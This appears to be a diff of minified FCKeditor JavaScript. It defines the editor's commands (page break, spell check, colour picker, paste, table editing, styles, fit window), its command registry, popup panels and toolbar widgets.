FCKPageBreakCommand=function(){this.Name='PageBreak';};FCKPageBreakCommand.prototype.Execute=function(){var e=FCK.EditorDocument.createElement('DIV');e.style.pageBreakAfter='always';e.innerHTML='<span style="DISPLAY:none">&nbsp;</span>';var A=FCKDocumentProcessor_CreateFakeImage('FCK__PageBreak',e);A=FCK.InsertElement(A);};FCKPageBreakCommand.prototype.GetState=function(){return 0;};var FCKUnlinkCommand=function(){this.Name='Unlink';};FCKUnlinkCommand.prototype.Execute=function(){if (FCKBrowserInfo.IsGecko){var A=FCK.Selection.MoveToAncestorNode('A');if (A) FCK.Selection.SelectNode(A);};FCK.ExecuteNamedCommand(this.Name);if (FCKBrowserInfo.IsGecko) FCK.Selection.Collapse(true);};FCKUnlinkCommand.prototype.GetState=function(){var A=FCK.GetNamedCommandState(this.Name);if (A==0&&FCK.EditMode==0){var B=FCKSelection.MoveToAncestorNode('A');var C=(B&&B.name.length>0&&B.href.length==0);if (C) A=-1;};return A;};var FCKSelectAllCommand=function(){this.Name='SelectAll';};FCKSelectAllCommand.prototype=new FCKNamedCommand('SelectAll');FCKSelectAllCommand.prototype.GetState=function(){return 0;}
+var FCKSpellCheckCommand=function(){this.Name='SpellCheck';this.IsEnabled=(FCKConfig.SpellChecker=='ieSpell'||FCKConfig.SpellChecker=='SpellerPages');};FCKSpellCheckCommand.prototype.Execute=function(){switch (FCKConfig.SpellChecker){case 'ieSpell':this._RunIeSpell();break;case 'SpellerPages':FCKDialog.OpenDialog('FCKDialog_SpellCheck','Spell Check','dialog/fck_spellerpages.html',440,480);break;}};FCKSpellCheckCommand.prototype._RunIeSpell=function(){try{var A=new ActiveXObject("ieSpell.ieSpellExtension");A.CheckAllLinkedDocuments(FCK.EditorDocument);}catch(e){if(e.number==-2146827859){if (confirm(FCKLang.IeSpellDownload)) window.open(FCKConfig.IeSpellDownloadUrl,'IeSpellDownload');}else alert('Error Loading ieSpell: '+e.message+' ('+e.number+')');}};FCKSpellCheckCommand.prototype.GetState=function(){return this.IsEnabled?0:-1;}
+var FCKTextColorCommand=function(A){this.Name=A=='ForeColor'?'TextColor':'BGColor';this.Type=A;var B;if (FCKBrowserInfo.IsIE) B=window;else if (FCK.ToolbarSet._IFrame) B=FCKTools.GetElementWindow(FCK.ToolbarSet._IFrame);else B=window.parent;this._Panel=new FCKPanel(B,true);this._Panel.AppendStyleSheet(FCKConfig.SkinPath+'fck_editor.css');this._Panel.MainNode.className='FCK_Panel';this._CreatePanelBody(this._Panel.Document,this._Panel.MainNode);FCKTools.DisableSelection(this._Panel.Document.body);};FCKTextColorCommand.prototype.Execute=function(A,B,C){FCK._ActiveColorPanelType=this.Type;this._Panel.Show(A,B,C);};FCKTextColorCommand.prototype.SetColor=function(A){if (FCK._ActiveColorPanelType=='ForeColor') FCK.ExecuteNamedCommand('ForeColor',A);else if (FCKBrowserInfo.IsGeckoLike){if (FCKBrowserInfo.IsGecko&&!FCKConfig.GeckoUseSPAN) FCK.EditorDocument.execCommand('useCSS',false,false);FCK.ExecuteNamedCommand('hilitecolor',A);if (FCKBrowserInfo.IsGecko&&!FCKConfig.GeckoUseSPAN) FCK.EditorDocument.execCommand('useCSS',false,true);}else FCK.ExecuteNamedCommand('BackColor',A);delete FCK._ActiveColorPanelType;};FCKTextColorCommand.prototype.GetState=function(){return 0;};function FCKTextColorCommand_OnMouseOver()      { this.className='ColorSelected';};function FCKTextColorCommand_OnMouseOut()    { this.className='ColorDeselected';};function FCKTextColorCommand_OnClick(){this.className='ColorDeselected';this.Command.SetColor('#'+this.Color);this.Command._Panel.Hide();};function FCKTextColorCommand_AutoOnClick(){this.className='ColorDeselected';this.Command.SetColor('');this.Command._Panel.Hide();};function FCKTextColorCommand_MoreOnClick(){this.className='ColorDeselected';this.Command._Panel.Hide();FCKDialog.OpenDialog('FCKDialog_Color',FCKLang.DlgColorTitle,'dialog/fck_colorselector.html',400,330,this.Command.SetColor);};FCKTextColorCommand.prototype._CreatePanelBody=function(A,B){function CreateSelectionDiv(){var C=A.createElement("DIV");C.className='ColorDeselected';C.onmouseover=FCKTextColorCommand_OnMouseOver;C.onmouseout=FCKTextColorCommand_OnMouseOut;return C;};var D=B.appendChild(A.createElement("TABLE"));D.className='ForceBaseFont';D.style.tableLayout='fixed';D.cellPadding=0;D.cellSpacing=0;D.border=0;D.width=150;var E=D.insertRow(-1).insertCell(-1);E.colSpan=8;var C=E.appendChild(CreateSelectionDiv());C.innerHTML='<table cellspacing="0" cellpadding="0" width="100%" border="0">\n                       <tr>\n                          <td><div class="ColorBoxBorder"><div class="ColorBox" style="background-color: #000000"></div></div></td>\n                             <td nowrap width="100%" align="center">'+FCKLang.ColorAutomatic+'</td>\n                        </tr>\n         </table>';C.Command=this;C.onclick=FCKTextColorCommand_AutoOnClick;var G=FCKConfig.FontColors.toString().split(',');var H=0;while (H<G.length){var I=D.insertRow(-1);for (var i=0;i<8&&H<G.length;i++,H++){C=I.insertCell(-1).appendChild(CreateSelectionDiv());C.Color=G[H];C.innerHTML='<div class="ColorBoxBorder"><div class="ColorBox" style="background-color: #'+G[H]+'"></div></div>';C.Command=this;C.onclick=FCKTextColorCommand_OnClick;}};E=D.insertRow(-1).insertCell(-1);E.colSpan=8;C=E.appendChild(CreateSelectionDiv());C.innerHTML='<table width="100%" cellpadding="0" cellspacing="0" border="0"><tr><td nowrap align="center">'+FCKLang.ColorMoreColors+'</td></tr></table>';C.Command=this;C.onclick=FCKTextColorCommand_MoreOnClick;}
+var FCKPastePlainTextCommand=function(){this.Name='PasteText';};FCKPastePlainTextCommand.prototype.Execute=function(){FCK.PasteAsPlainText();};FCKPastePlainTextCommand.prototype.GetState=function(){return FCK.GetNamedCommandState('Paste');};
+var FCKPasteWordCommand=function(){this.Name='PasteWord';};FCKPasteWordCommand.prototype.Execute=function(){FCK.PasteFromWord();};FCKPasteWordCommand.prototype.GetState=function(){if (FCKConfig.ForcePasteAsPlainText) return -1;else return FCK.GetNamedCommandState('Paste');};
+var FCKTableCommand=function(A){this.Name=A;};FCKTableCommand.prototype.Execute=function(){FCKUndo.SaveUndoStep();switch (this.Name){case 'TableInsertRow':FCKTableHandler.InsertRow();break;case 'TableDeleteRows':FCKTableHandler.DeleteRows();break;case 'TableInsertColumn':FCKTableHandler.InsertColumn();break;case 'TableDeleteColumns':FCKTableHandler.DeleteColumns();break;case 'TableInsertCell':FCKTableHandler.InsertCell();break;case 'TableDeleteCells':FCKTableHandler.DeleteCells();break;case 'TableMergeCells':FCKTableHandler.MergeCells();break;case 'TableSplitCell':FCKTableHandler.SplitCell();break;case 'TableDelete':FCKTableHandler.DeleteTable();break;default:alert(FCKLang.UnknownCommand.replace(/%1/g,this.Name));}};FCKTableCommand.prototype.GetState=function(){return 0;}
+var FCKStyleCommand=function(){this.Name='Style';this.StylesLoader=new FCKStylesLoader();this.StylesLoader.Load(FCKConfig.StylesXmlPath);this.Styles=this.StylesLoader.Styles;};FCKStyleCommand.prototype.Execute=function(A,B){FCKUndo.SaveUndoStep();if (B.Selected) B.Style.RemoveFromSelection();else B.Style.ApplyToSelection();FCKUndo.SaveUndoStep();FCK.Focus();FCK.Events.FireEvent("OnSelectionChange");};FCKStyleCommand.prototype.GetState=function(){if (!FCK.EditorDocument) return -1;var A=FCK.EditorDocument.selection;if (FCKSelection.GetType()=='Control'){var e=FCKSelection.GetSelectedElement();if (e) return this.StylesLoader.StyleGroups[e.tagName]?0:-1;};return 0;};FCKStyleCommand.prototype.GetActiveStyles=function(){var A=[];if (FCKSelection.GetType()=='Control') this._CheckStyle(FCKSelection.GetSelectedElement(),A,false);else this._CheckStyle(FCKSelection.GetParentElement(),A,true);return A;};FCKStyleCommand.prototype._CheckStyle=function(A,B,C){if (!A) return;if (A.nodeType==1){var D=this.StylesLoader.StyleGroups[A.tagName];if (D){for (var i=0;i<D.length;i++){if (D[i].IsEqual(A)) B[B.length]=D[i];}}};if (C) this._CheckStyle(A.parentNode,B,C);}
+var FCKFitWindow=function(){this.Name='FitWindow';};FCKFitWindow.prototype.Execute=function(){var A=window.frameElement;var B=A.style;var C=parent;var D=C.document.documentElement;var E=C.document.body;var F=E.style;var G;if (!this.IsMaximized){if(FCKBrowserInfo.IsIE) C.attachEvent('onresize',FCKFitWindow_Resize);else C.addEventListener('resize',FCKFitWindow_Resize,true);this._ScrollPos=FCKTools.GetScrollPosition(C);G=A;while((G=G.parentNode)){if (G.nodeType==1) G._fckSavedStyles=FCKTools.SaveStyles(G);};if (FCKBrowserInfo.IsIE){this.documentElementOverflow=D.style.overflow;D.style.overflow='hidden';F.overflow='hidden';}else{F.overflow='hidden';F.width='0px';F.height='0px';};this._EditorFrameStyles=FCKTools.SaveStyles(A);var H=FCKTools.GetViewPaneSize(C);B.position="absolute";B.zIndex=FCKConfig.FloatingPanelsZIndex-1;B.left="0px";B.top="0px";B.width=H.Width+"px";B.height=H.Height+"px";if (!FCKBrowserInfo.IsIE){B.borderRight=B.borderBottom="9999px solid white";B.backgroundColor="white";};C.scrollTo(0,0);this.IsMaximized=true;}else{if(FCKBrowserInfo.IsIE) C.detachEvent("onresize",FCKFitWindow_Resize);else C.removeEventListener("resize",FCKFitWindow_Resize,true);G=A;while((G=G.parentNode)){if (G._fckSavedStyles){FCKTools.RestoreStyles(G,G._fckSavedStyles);G._fckSavedStyles=null;}};if (FCKBrowserInfo.IsIE) D.style.overflow=this.documentElementOverflow;FCKTools.RestoreStyles(A,this._EditorFrameStyles);C.scrollTo(this._ScrollPos.X,this._ScrollPos.Y);this.IsMaximized=false;};FCKToolbarItems.GetItem('FitWindow').RefreshState();FCK.EditingArea.MakeEditable();FCK.Focus();};FCKFitWindow.prototype.GetState=function(){if (FCKConfig.ToolbarLocation!='In') return -1;else return (this.IsMaximized?1:0);};function FCKFitWindow_Resize(){var A=FCKTools.GetViewPaneSize(parent);var B=window.frameElement.style;B.width=A.Width+'px';B.height=A.Height+'px';};
+var FCKCommands=FCK.Commands={};FCKCommands.LoadedCommands={};FCKCommands.RegisterCommand=function(A,B){this.LoadedCommands[A]=B;};FCKCommands.GetCommand=function(A){var B=FCKCommands.LoadedCommands[A];if (B) return B;switch (A){case 'DocProps':B=new FCKDialogCommand('DocProps',FCKLang.DocProps,'dialog/fck_docprops.html',400,390,FCKCommands.GetFullPageState);break;case 'Templates':B=new FCKDialogCommand('Templates',FCKLang.DlgTemplatesTitle,'dialog/fck_template.html',380,450);break;case 'Link':B=new FCKDialogCommand('Link',FCKLang.DlgLnkWindowTitle,'dialog/fck_link.html',400,330);break;case 'Unlink':B=new FCKUnlinkCommand();break;case 'Anchor':B=new FCKDialogCommand('Anchor',FCKLang.DlgAnchorTitle,'dialog/fck_anchor.html',370,170);break;case 'BulletedList':B=new FCKDialogCommand('BulletedList',FCKLang.BulletedListProp,'dialog/fck_listprop.html?UL',370,170);break;case 'NumberedList':B=new FCKDialogCommand('NumberedList',FCKLang.NumberedListProp,'dialog/fck_listprop.html?OL',370,170);break;case 'About':B=new FCKDialogCommand('About',FCKLang.About,'dialog/fck_about.html',400,330);break;case 'Find':B=new FCKDialogCommand('Find',FCKLang.DlgFindTitle,'dialog/fck_find.html',340,170);break;case 'Replace':B=new FCKDialogCommand('Replace',FCKLang.DlgReplaceTitle,'dialog/fck_replace.html',340,200);break;case 'Image':B=new FCKDialogCommand('Image',FCKLang.DlgImgTitle,'dialog/fck_image.html',450,400);break;case 'Flash':B=new FCKDialogCommand('Flash',FCKLang.DlgFlashTitle,'dialog/fck_flash.html',450,400);break;case 'SpecialChar':B=new FCKDialogCommand('SpecialChar',FCKLang.DlgSpecialCharTitle,'dialog/fck_specialchar.html',400,320);break;case 'Smiley':B=new FCKDialogCommand('Smiley',FCKLang.DlgSmileyTitle,'dialog/fck_smiley.html',FCKConfig.SmileyWindowWidth,FCKConfig.SmileyWindowHeight);break;case 'Table':B=new FCKDialogCommand('Table',FCKLang.DlgTableTitle,'dialog/fck_table.html',450,250);break;case 'TableProp':B=new FCKDialogCommand('Table',FCKLang.DlgTableTitle,'dialog/fck_table.html?Parent',400,250);break;case 'TableCellProp':B=new FCKDialogCommand('TableCell',FCKLang.DlgCellTitle,'dialog/fck_tablecell.html',550,250);break;case 'Style':B=new FCKStyleCommand();break;case 'FontName':B=new FCKFontNameCommand();break;case 'FontSize':B=new FCKFontSizeCommand();break;case 'FontFormat':B=new FCKFormatBlockCommand();break;case 'Source':B=new FCKSourceCommand();break;case 'Preview':B=new FCKPreviewCommand();break;case 'Save':B=new FCKSaveCommand();break;case 'NewPage':B=new FCKNewPageCommand();break;case 'PageBreak':B=new FCKPageBreakCommand();break;case 'TextColor':B=new FCKTextColorCommand('ForeColor');break;case 'BGColor':B=new FCKTextColorCommand('BackColor');break;case 'PasteText':B=new FCKPastePlainTextCommand();break;case 'PasteWord':B=new FCKPasteWordCommand();break;case 'TableInsertRow':B=new FCKTableCommand('TableInsertRow');break;case 'TableDeleteRows':B=new FCKTableCommand('TableDeleteRows');break;case 'TableInsertColumn':B=new FCKTableCommand('TableInsertColumn');break;case 'TableDeleteColumns':B=new FCKTableCommand('TableDeleteColumns');break;case 'TableInsertCell':B=new FCKTableCommand('TableInsertCell');break;case 'TableDeleteCells':B=new FCKTableCommand('TableDeleteCells');break;case 'TableMergeCells':B=new FCKTableCommand('TableMergeCells');break;case 'TableSplitCell':B=new FCKTableCommand('TableSplitCell');break;case 'TableDelete':B=new FCKTableCommand('TableDelete');break;case 'Form':B=new FCKDialogCommand('Form',FCKLang.Form,'dialog/fck_form.html',380,230);break;case 'Checkbox':B=new FCKDialogCommand('Checkbox',FCKLang.Checkbox,'dialog/fck_checkbox.html',380,230);break;case 'Radio':B=new FCKDialogCommand('Radio',FCKLang.RadioButton,'dialog/fck_radiobutton.html',380,230);break;case 'TextField':B=new FCKDialogCommand('TextField',FCKLang.TextField,'dialog/fck_textfield.html',380,230);break;case 'Textarea':B=new FCKDialogCommand('Textarea',FCKLang.Textarea,'dialog/fck_textarea.html',380,230);break;case 'HiddenField':B=new FCKDialogCommand('HiddenField',FCKLang.HiddenField,'dialog/fck_hiddenfield.html',380,230);break;case 'Button':B=new FCKDialogCommand('Button',FCKLang.Button,'dialog/fck_button.html',380,230);break;case 'Select':B=new FCKDialogCommand('Select',FCKLang.SelectionField,'dialog/fck_select.html',400,380);break;case 'ImageButton':B=new FCKDialogCommand('ImageButton',FCKLang.ImageButton,'dialog/fck_image.html?ImageButton',450,400);break;case 'SpellCheck':B=new FCKSpellCheckCommand();break;case 'FitWindow':B=new FCKFitWindow();break;case 'Undo':B=new FCKUndoCommand();break;case 'Redo':B=new FCKRedoCommand();break;case 'SelectAll':B=new FCKSelectAllCommand();break;case 'Undefined':B=new FCKUndefinedCommand();break;default:if (FCKRegexLib.NamedCommands.test(A)) B=new FCKNamedCommand(A);else{alert(FCKLang.UnknownCommand.replace(/%1/g,A));return null;}};FCKCommands.LoadedCommands[A]=B;return B;};FCKCommands.GetFullPageState=function(){return FCKConfig.FullPage?0:-1;};
+var FCKPanel=function(A){this.IsRTL=(FCKLang.Dir=='rtl');this.IsContextMenu=false;this._LockCounter=0;this._Window=A||window;var B;if (FCKBrowserInfo.IsIE){this._Popup=this._Window.createPopup();B=this.Document=this._Popup.document;FCK.IECleanup.AddItem(this,FCKPanel_Cleanup);}else{var C=this._IFrame=this._Window.document.createElement('iframe');C.src='javascript:void(0)';C.allowTransparency=true;C.frameBorder='0';C.scrolling='no';C.style.position='absolute';C.style.zIndex=FCKConfig.FloatingPanelsZIndex;C.width=C.height=0;if (this._Window==window.parent&&window.frameElement) window.frameElement.parentNode.insertBefore(C,window.frameElement);else this._Window.document.body.appendChild(C);var D=C.contentWindow;B=this.Document=D.document;B.open();B.write('<html><head></head><body style="margin:0px;padding:0px;"><\/body><\/html>');B.close();FCKTools.AddEventListenerEx(D,'focus',FCKPanel_Window_OnFocus,this);FCKTools.AddEventListenerEx(D,'blur',FCKPanel_Window_OnBlur,this);};B.dir=FCKLang.Dir;B.oncontextmenu=FCKTools.CancelEvent;this.MainNode=B.body.appendChild(B.createElement('DIV'));this.MainNode.style.cssFloat=this.IsRTL?'right':'left';};FCKPanel.prototype.AppendStyleSheet=function(A){FCKTools.AppendStyleSheet(this.Document,A);};FCKPanel.prototype.Preload=function(x,y,A){if (this._Popup) this._Popup.show(x,y,0,0,A);};FCKPanel.prototype.Show=function(x,y,A,B,C){var D;if (this._Popup){this._Popup.show(x,y,0,0,A);this.MainNode.style.width=B?B+'px':'';this.MainNode.style.height=C?C+'px':'';D=this.MainNode.offsetWidth;if (this.IsRTL){if (this.IsContextMenu) x=x-D+1;else if (A) x=(x*-1)+A.offsetWidth-D;};this._Popup.show(x,y,D,this.MainNode.offsetHeight,A);if (this.OnHide){if (this._Timer) CheckPopupOnHide.call(this,true);this._Timer=FCKTools.SetInterval(CheckPopupOnHide,100,this);}}else{if (typeof(FCKFocusManager)!='undefined') FCKFocusManager.Lock();if (this.ParentPanel) this.ParentPanel.Lock();this.MainNode.style.width=B?B+'px':'';this.MainNode.style.height=C?C+'px':'';D=this.MainNode.offsetWidth;if (!B)     this._IFrame.width=1;if (!C)    this._IFrame.height=1;D=this.MainNode.offsetWidth;var E=FCKTools.GetElementPosition(A.nodeType==9?(FCKTools.IsStrictMode(A)?A.documentElement:A.body):A,this._Window);if (this.IsRTL&&!this.IsContextMenu) x=(x*-1);x+=E.X;y+=E.Y;if (this.IsRTL){if (this.IsContextMenu) x=x-D+1;else if (A) x=x+A.offsetWidth-D;}else{var F=FCKTools.GetViewPaneSize(this._Window);var G=FCKTools.GetScrollPosition(this._Window);var H=F.Height+G.Y;var I=F.Width+G.X;if ((x+D)>I) x-=x+D-I;if ((y+this.MainNode.offsetHeight)>H) y-=y+this.MainNode.offsetHeight-H;};if (x<0) x=0;this._IFrame.style.left=x+'px';this._IFrame.style.top=y+'px';var J=D;var K=this.MainNode.offsetHeight;this._IFrame.width=J;this._IFrame.height=K;this._IFrame.contentWindow.focus();};this._IsOpened=true;FCKTools.RunFunction(this.OnShow,this);};FCKPanel.prototype.Hide=function(A){if (this._Popup) this._Popup.hide();else{if (!this._IsOpened) return;if (typeof(FCKFocusManager)!='undefined') FCKFocusManager.Unlock();this._IFrame.width=this._IFrame.height=0;this._IsOpened=false;if (this.ParentPanel) this.ParentPanel.Unlock();if (!A) FCKTools.RunFunction(this.OnHide,this);}};FCKPanel.prototype.CheckIsOpened=function(){if (this._Popup) return this._Popup.isOpen;else return this._IsOpened;};FCKPanel.prototype.CreateChildPanel=function(){var A=this._Popup?FCKTools.GetDocumentWindow(this.Document):this._Window;var B=new FCKPanel(A,true);B.ParentPanel=this;return B;};FCKPanel.prototype.Lock=function(){this._LockCounter++;};FCKPanel.prototype.Unlock=function(){if (--this._LockCounter==0&&!this.HasFocus) this.Hide();};function FCKPanel_Window_OnFocus(e,A){A.HasFocus=true;};function FCKPanel_Window_OnBlur(e,A){A.HasFocus=false;if (A._LockCounter==0) FCKTools.RunFunction(A.Hide,A);};function CheckPopupOnHide(A){if (A||!this._Popup.isOpen){window.clearInterval(this._Timer);this._Timer=null;FCKTools.RunFunction(this.OnHide,this);}};function FCKPanel_Cleanup(){this._Popup=null;this._Window=null;this.Document=null;this.MainNode=null;}
+var FCKIcon=function(A){var B=A?typeof(A):'undefined';switch (B){case 'number':this.Path=FCKConfig.SkinPath+'fck_strip.gif';this.Size=16;this.Position=A;break;case 'undefined':this.Path=FCK_SPACER_PATH;break;case 'string':this.Path=A;break;default:this.Path=A[0];this.Size=A[1];this.Position=A[2];}};FCKIcon.prototype.CreateIconElement=function(A){var B,eIconImage;if (this.Position){var C='-'+((this.Position-1)*this.Size)+'px';if (FCKBrowserInfo.IsIE){B=A.createElement('DIV');eIconImage=B.appendChild(A.createElement('IMG'));eIconImage.src=this.Path;eIconImage.style.top=C;}else{B=A.createElement('IMG');B.src=FCK_SPACER_PATH;B.style.backgroundPosition='0px '+C;B.style.backgroundImage='url('+this.Path+')';}}else{B=A.createElement('DIV');eIconImage=B.appendChild(A.createElement('IMG'));eIconImage.src=this.Path?this.Path:FCK_SPACER_PATH;};B.className='TB_Button_Image';return B;}
+var FCKToolbarButtonUI=function(A,B,C,D,E,F){this.Name=A;this.Label=B||A;this.Tooltip=C||this.Label;this.Style=E||0;this.State=F||0;this.Icon=new FCKIcon(D);if (FCK.IECleanup) FCK.IECleanup.AddItem(this,FCKToolbarButtonUI_Cleanup);};FCKToolbarButtonUI.prototype._CreatePaddingElement=function(A){var B=A.createElement('IMG');B.className='TB_Button_Padding';B.src=FCK_SPACER_PATH;return B;};FCKToolbarButtonUI.prototype.Create=function(A){var B=this.MainElement;if (B){FCKToolbarButtonUI_Cleanup.call(this);if (B.parentNode) B.parentNode.removeChild(B);B=this.MainElement=null;};var C=FCKTools.GetElementDocument(A);B=this.MainElement=C.createElement('DIV');B._FCKButton=this;B.title=this.Tooltip;if (FCKBrowserInfo.IsGecko) B.onmousedown=FCKTools.CancelEvent;this.ChangeState(this.State,true);if (this.Style==0&&!this.ShowArrow){B.appendChild(this.Icon.CreateIconElement(C));}else{var D=B.appendChild(C.createElement('TABLE'));D.cellPadding=0;D.cellSpacing=0;var E=D.insertRow(-1);var F=E.insertCell(-1);if (this.Style==0||this.Style==2) F.appendChild(this.Icon.CreateIconElement(C));else F.appendChild(this._CreatePaddingElement(C));if (this.Style==1||this.Style==2){F=E.insertCell(-1);F.className='TB_Button_Text';F.noWrap=true;F.appendChild(C.createTextNode(this.Label));};if (this.ShowArrow){if (this.Style!=0){E.insertCell(-1).appendChild(this._CreatePaddingElement(C));};F=E.insertCell(-1);var G=F.appendChild(C.createElement('IMG'));G.src=FCKConfig.SkinPath+'images/toolbar.buttonarrow.gif';G.width=5;G.height=3;};F=E.insertCell(-1);F.appendChild(this._CreatePaddingElement(C));};A.appendChild(B);};FCKToolbarButtonUI.prototype.ChangeState=function(A,B){if (!B&&this.State==A) return;var e=this.MainElement;switch (parseInt(A,10)){case 0:e.className='TB_Button_Off';e.onmouseover=FCKToolbarButton_OnMouseOverOff;e.onmouseout=FCKToolbarButton_OnMouseOutOff;e.onclick=FCKToolbarButton_OnClick;break;case 1:e.className='TB_Button_On';e.onmouseover=FCKToolbarButton_OnMouseOverOn;e.onmouseout=FCKToolbarButton_OnMouseOutOn;e.onclick=FCKToolbarButton_OnClick;break;case -1:e.className='TB_Button_Disabled';e.onmouseover=null;e.onmouseout=null;e.onclick=null;break;};this.State=A;};function FCKToolbarButtonUI_Cleanup(){if (this.MainElement){this.MainElement._FCKButton=null;this.MainElement=null;}};function FCKToolbarButton_OnMouseOverOn(){this.className='TB_Button_On_Over';};function FCKToolbarButton_OnMouseOutOn(){this.className='TB_Button_On';};function FCKToolbarButton_OnMouseOverOff(){this.className='TB_Button_Off_Over';};function FCKToolbarButton_OnMouseOutOff(){this.className='TB_Button_Off';};function FCKToolbarButton_OnClick(e){if (this._FCKButton.OnClick) this._FCKButton.OnClick(this._FCKButton);};
+var FCKToolbarButton=function(A,B,C,D,E,F,G){this.CommandName=A;this.Label=B;this.Tooltip=C;this.Style=D;this.SourceView=E?true:false;this.ContextSensitive=F?true:false;if (G==null) this.IconPath=FCKConfig.SkinPath+'toolbar/'+A.toLowerCase()+'.gif';else if (typeof(G)=='number') this.IconPath=[FCKConfig.SkinPath+'fck_strip.gif',16,G];};FCKToolbarButton.prototype.Create=function(A){this._UIButton=new FCKToolbarButtonUI(this.CommandName,this.Label,this.Tooltip,this.IconPath,this.Style);this._UIButton.OnClick=this.Click;this._UIButton._ToolbarButton=this;this._UIButton.Create(A);};FCKToolbarButton.prototype.RefreshState=function(){var A=FCK.ToolbarSet.CurrentInstance.Commands.GetCommand(this.CommandName).GetState();if (A==this._UIButton.State) return;this._UIButton.ChangeState(A);};FCKToolbarButton.prototype.Click=function(){var A=this._ToolbarButton||this;FCK.ToolbarSet.CurrentInstance.Commands.GetCommand(A.CommandName).Execute();};FCKToolbarButton.prototype.Enable=function(){this.RefreshState();};FCKToolbarButton.prototype.Disable=function(){this._UIButton.ChangeState(-1);}
+var FCKSpecialCombo=function(A,B,C,D,E){this.FieldWidth=B||100;this.PanelWidth=C||150;this.PanelMaxHeight=D||150;this.Label='&nbsp;';this.Caption=A;this.Tooltip=A;this.Style=2;this.Enabled=true;this.Items={};this._Panel=new FCKPanel(E||window,true);this._Panel.AppendStyleSheet(FCKConfig.SkinPath+'fck_editor.css');this._PanelBox=this._Panel.MainNode.appendChild(this._Panel.Document.createElement('DIV'));this._PanelBox.className='SC_Panel';this._PanelBox.style.width=this.PanelWidth+'px';this._PanelBox.innerHTML='<table cellpadding="0" cellspacing="0" width="100%" style="TABLE-LAYOUT: fixed"><tr><td nowrap></td></tr></table>';this._ItemsHolderEl=this._PanelBox.getElementsByTagName('TD')[0];if (FCK.IECleanup) FCK.IECleanup.AddItem(this,FCKSpecialCombo_Cleanup);};function FCKSpecialCombo_ItemOnMouseOver(){this.className+=' SC_ItemOver';};function FCKSpecialCombo_ItemOnMouseOut(){this.className=this.originalClass;};function FCKSpecialCombo_ItemOnClick(){this.className=this.originalClass;this.FCKSpecialCombo._Panel.Hide();this.FCKSpecialCombo.SetLabel(this.FCKItemLabel);if (typeof(this.FCKSpecialCombo.OnSelect)=='function') this.FCKSpecialCombo.OnSelect(this.FCKItemID,this);};FCKSpecialCombo.prototype.AddItem=function(A,B,C,D){var E=this._ItemsHolderEl.appendChild(this._Panel.Document.createElement('DIV'));E.className=E.originalClass='SC_Item';E.innerHTML=B;E.FCKItemID=A;E.FCKItemLabel=C||A;E.FCKSpecialCombo=this;E.Selected=false;if (FCKBrowserInfo.IsIE) E.style.width='100%';if (D) E.style.backgroundColor=D;E.onmouseover=FCKSpecialCombo_ItemOnMouseOver;E.onmouseout=FCKSpecialCombo_ItemOnMouseOut;E.onclick=FCKSpecialCombo_ItemOnClick;this.Items[A.toString().toLowerCase()]=E;return E;};FCKSpecialCombo.prototype.SelectItem=function(A){A=A?A.toString().toLowerCase():'';var B=this.Items[A];if (B){B.className=B.originalClass='SC_ItemSelected';B.Selected=true;}};FCKSpecialCombo.prototype.SelectItemByLabel=function(A,B){for (var C in this.Items){var D=this.Items[C];if (D.FCKItemLabel==A){D.className=D.originalClass='SC_ItemSelected';D.Selected=true;if (B) this.SetLabel(A);}}};FCKSpecialCombo.prototype.DeselectAll=function(A){for (var i in this.Items){this.Items[i].className=this.Items[i].originalClass='SC_Item';this.Items[i].Selected=false;};if (A) this.SetLabel('');};FCKSpecialCombo.prototype.SetLabelById=function(A){A=A?A.toString().toLowerCase():'';var B=this.Items[A];this.SetLabel(B?B.FCKItemLabel:'');};FCKSpecialCombo.prototype.SetLabel=function(A){this.Label=A.length==0?'&nbsp;':A;if (this._LabelEl){this._LabelEl.innerHTML=this.Label;FCKTools.DisableSelection(this._LabelEl);}};FCKSpecialCombo.prototype.SetEnabled=function(A){this.Enabled=A;this._OuterTable.className=A?'':'SC_FieldDisabled';};FCKSpecialCombo.prototype.Create=function(A){var B=FCKTools.GetElementDocument(A);var C=this._OuterTable=A.appendChild(B.createElement('TABLE'));C.cellPadding=0;C.cellSpacing=0;C.insertRow(-1);var D;var E;switch (this.Style){case 0:D='TB_ButtonType_Icon';E=false;break;case 1:D='TB_ButtonType_Text';E=false;break;case 2:E=true;break;};if (this.Caption&&this.Caption.length>0&&E){var F=C.rows[0].insertCell(-1);F.innerHTML=this.Caption;F.className='SC_FieldCaption';};var G=FCKTools.AppendElement(C.rows[0].insertCell(-1),'div');if (E){G.className='SC_Field';G.style.width=this.FieldWidth+'px';G.innerHTML='<table width="100%" cellpadding="0" cellspacing="0" style="TABLE-LAYOUT: fixed;"><tbody><tr><td class="SC_FieldLabel"><label>&nbsp;</label></td><td class="SC_FieldButton">&nbsp;</td></tr></tbody></table>';this._LabelEl=G.getElementsByTagName('label')[0];this._LabelEl.innerHTML=this.Label;}else{G.className='TB_Button_Off';G.innerHTML='<table title="'+this.Tooltip+'" class="'+D+'" cellspacing="0" cellpadding="0" border="0"><tr><td><img class="TB_Button_Padding" src="'+FCK_SPACER_PATH+'" /></td><td class="TB_Text">'+this.Caption+'</td><td><img class="TB_Button_Padding" src="'+FCK_SPACER_PATH+'" /></td><td class="TB_ButtonArrow"><img src="'+FCKConfig.SkinPath+'images/toolbar.buttonarrow.gif" width="5" height="3"></td><td><img class="TB_Button_Padding" src="'+FCK_SPACER_PATH+'" /></td></tr></table>';};G.SpecialCombo=this;G.onmouseover=FCKSpecialCombo_OnMouseOver;G.onmouseout=FCKSpecialCombo_OnMouseOut;G.onclick=FCKSpecialCombo_OnClick;FCKTools.DisableSelection(this._Panel.Document.body);};function FCKSpecialCombo_Cleanup(){this._LabelEl=null;this._OuterTable=null;this._ItemsHolderEl=null;this._PanelBox=null;if (this.Items){for (var A in this.Items) this.Items[A]=null;}};function FCKSpecialCombo_OnMouseOver(){if (this.SpecialCombo.Enabled){switch (this.SpecialCombo.Style){case 0:this.className='TB_Button_On_Over';break;case 1:this.className='TB_Button_On_Over';break;case 2:this.className='SC_Field SC_FieldOver';break;}}};function FCKSpecialCombo_OnMouseOut(){switch (this.SpecialCombo.Style){case 0:this.className='TB_Button_Off';break;case 1:this.className='TB_Button_Off';break;case 2:this.className='SC_Field';break;}};function FCKSpecialCombo_OnClick(e){var A=this.SpecialCombo;if (A.Enabled){var B=A._Panel;var C=A._PanelBox;var D=A._ItemsHolderEl;var E=A.PanelMaxHeight;if (A.OnBeforeClick) A.OnBeforeClick(A);if (FCKBrowserInfo.IsIE) B.Preload(0,this.offsetHeight,this);if (D.offsetHeight>E) C.style.height=E+'px';else C.style.height='';B.Show(0,this.offsetHeight,this);}};
